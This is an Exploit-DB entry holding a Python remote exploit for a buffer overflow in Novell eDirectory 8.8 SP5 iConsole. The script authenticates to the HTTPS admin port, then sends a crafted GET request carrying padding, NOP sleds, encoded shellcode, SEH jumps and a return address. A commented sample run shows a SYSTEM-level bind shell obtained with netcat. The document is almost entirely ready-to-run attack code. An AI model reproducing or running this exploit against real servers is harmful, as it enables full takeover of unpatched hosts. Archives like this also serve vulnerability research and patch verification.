Exploit-DB #10098
Description: Novell eDirectory 8.8 SP5 - iConsole Buffer Overflow
Type: remote
Platform: windows
Date: 2009-11-16
Author: ryujin

Exploit:
#!/usr/bin/python
# Novell eDirectory 8.8 SP5 iConsole BOF
# Vulnerability found by Hellcode Labs, 
# Original POC http://downloads.securityfocus.com/vulnerabilities/exploits/36815.pl
# 
# Exploit coded by Matteo Memelli | ryujin __A-T__ offensive-security.com
# www.offensive-security.com
# Spaghetti & Pwnsauce - 04/11/2009 
#
# Process dhost.exe becomes unstable after pwnage, so we need to connect quickly to save our shell ;)
#
# root@bt:~# ./gotohell.py 172.16.30.201;nc -v 172.16.30.201 4444
# 302 Found
# DHAC1=c8280012; Path=/
# 172.16.30.201: inverse host lookup failed: Unknown server error : Connection timed out
# (UNKNOWN) [172.16.30.201] 4444 (?) open
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
# 
# C:\Novell\NDS\DIBFiles>whoami
# whoami
# nt authority\system
# 
# C:\Novell\NDS\DIBFiles>
 

import sys
import httplib, urllib

try:
   HOST = sys.argv[1]
except IndexError:
   print "Usage: %s HOST" % sys.argv[0]

def do_auth(usr, pwd):
   params = urllib.urlencode({'usr': usr, 'pwd': pwd, 'button': 'Login'})
   headers = {"Content-type": "application/x-www-form-urlencoded",
              "Accept": "text/plain"}
   conn = httplib.HTTPSConnection("%s:8030" % HOST)
   conn.request("POST", "/_LOGIN_SERVER_RSP_", params, headers)
   response = conn.getresponse()
   cookie=response.getheaders()[1][1]
   print response.status, response.reason
   data = response.read()
   conn.close()
   print cookie
   return cookie

def do_pwn(evil, cookie):
   headers = {"Host": "%s:8030" % HOST,
              "Cookie": "%s" % cookie}
   conn = httplib.HTTPSConnection("%s:8030" % HOST)
   conn.request("GET", "/dhost/modules?L:"+evil, None, headers)

# [*] Using Msf::Encoder::PexAlphaNum with final size of 709 bytes
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x52\x46\x42\x4b\x58\x45\x54\x4e\x43\x4b\x38\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x36\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x56\x4b\x48\x43\x44\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x35\x4a\x56"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x55\x43\x45\x43\x34"
"\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x41\x31"
"\x4e\x35\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
"\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x56\x43\x36"
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x52"
"\x43\x39\x4d\x58\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x35\x41\x35\x41\x35\x41\x45\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x45\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")

## PUT YOUR CREDENTIALS HERE ##
usr = ".Admin.O=offsec.OFFSEC."
pwd = "admin"
###############################
j1  = "\xEB\x06\x90\x90"
j2  = "\xE9\x26\xFD\xFF\xFF"
n1  = "\x90"*8
n2  = "\x90"*4
p1  = "\x41"*947
p2  = "\x42"*221
ret = "\x6A\x38\x81\x64" # 0x6481386A nmasldap.dll SafeSEH unprotected
evil = p1 + n1 + shellcode + j1 + ret + n2 + j2 + p2
# sweet biscuit...
cookie = do_auth(usr, pwd)
# sh...
do_pwn(evil, cookie)